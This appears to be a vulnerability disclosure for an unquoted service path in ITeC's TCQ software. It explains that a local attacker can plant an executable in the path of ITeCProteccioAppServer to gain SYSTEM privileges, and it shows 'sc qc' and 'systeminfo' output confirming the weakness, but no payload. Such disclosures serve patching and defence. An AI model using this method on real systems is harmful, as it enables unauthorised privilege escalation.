TCQ Exploit, ITeCProteccioAppServer.exe Exploit, Unquoted Service Path

# Exploit Title: TCQ - 'ITeCProteccioAppServer.exe'  Unquoted Service Path
# Discovery by: Edgar Carrillo Egea - https://twitter.com/ecarrilloeg
# Discovery Date: 2022-04-25
# Vendor Homepage: https://itec.es/programas/
# Vulnerability Type: Unquoted Service Path Privilege Escalation
# Tested on OS: Microsoft Windows 11 Home

To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.


C:\Users\edgar>sc qc "ITeCProteccioAppServer"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: ITeCProteccioAppServer
        TIPO               : 110  WIN32_OWN_PROCESS (interactive)
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\ITeC\LIC\ITeCProteccioAppServer.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : ITeCProteccioAppServer
        DEPENDENCIAS       : RPCSS
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\edgar>systeminfo

Nombre de host:                            DESKTOP-0DL5SID
Nombre del sistema operativo:              Microsoft Windows 11 Home
VersiĆ³n del sistema operativo:             10.0.22000 N/D CompilaciĆ³n 22000

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